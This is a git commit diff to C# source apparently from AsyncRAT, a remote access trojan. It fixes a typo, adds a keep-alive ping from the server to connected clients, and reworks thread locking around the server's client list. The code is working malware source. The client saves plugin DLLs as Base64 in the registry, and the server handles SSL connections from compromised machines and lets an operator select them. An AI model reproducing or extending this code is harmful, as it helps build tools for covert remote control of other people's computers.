This commit is contained in:
NYAN CAT 2019-10-07 11:04:39 +03:00
parent 0824921738
commit 468a9b8e7d
3 changed files with 40 additions and 19 deletions

View File

@ -44,7 +44,7 @@ namespace Client.Handle_Packet
case "savePlugin": // save plugin as MD5:Base64
{
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
Debug.WriteLine("plguin saved");
Debug.WriteLine("plugin saved");
break;
}
@ -56,7 +56,7 @@ namespace Client.Handle_Packet
if (SetRegistry.GetValue(plugin) == null)
{
plugins.Add(plugin);
Debug.WriteLine("plguin not found");
Debug.WriteLine("plugin not found");
}
}
if (plugins.Count > 0)

View File

@ -26,11 +26,12 @@ namespace Server.Connection
private int ClientBuffersize { get; set; }
private bool ClientBufferRecevied { get; set; }
private MemoryStream ClientMS { get; set; }
public object SendSync { get; } = new object();
public object SendSync { get; set; }
public long BytesRecevied { get; set; }
public Clients(Socket socket)
{
SendSync = new object();
TcpClient = socket;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false);
SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
@ -122,7 +123,7 @@ namespace Server.Connection
{
if (LV != null)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
Program.form1.Invoke((MethodInvoker)(() =>
{
try
{
@ -268,5 +269,26 @@ namespace Server.Connection
}
}
public void KeepAlivePacket(object o)
{
lock (SendSync)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
byte[] buffer = msgpack.Encode2Bytes();
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
SslClient.Write(buffersize, 0, buffersize.Length);
SslClient.Write(buffer, 0, buffer.Length);
SslClient.Flush();
}
catch
{
Disconnected();
}
}
}
}
}

View File

@ -69,42 +69,41 @@ namespace Server
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private Clients[] GetSelectedClients()
{
lock (Settings.LockListviewClients)
{
List<Clients> clientsList = new List<Clients>();
Invoke((MethodInvoker)(() =>
{
lock (Settings.LockListviewClients)
{
if (listView1.SelectedItems.Count == 0) return;
foreach (ListViewItem itm in listView1.SelectedItems)
{
clientsList.Add((Clients)itm.Tag);
}
}
}));
return clientsList.ToArray();
}
}
private Clients[] GetAllClients()
{
lock (Settings.LockListviewClients)
{
List<Clients> clientsList = new List<Clients>();
Invoke((MethodInvoker)(() =>
{
lock (Settings.LockListviewClients)
{
if (listView1.Items.Count == 0) return;
foreach (ListViewItem itm in listView1.Items)
{
clientsList.Add((Clients)itm.Tag);
}
}
}));
return clientsList.ToArray();
}
}
private void Connect()
{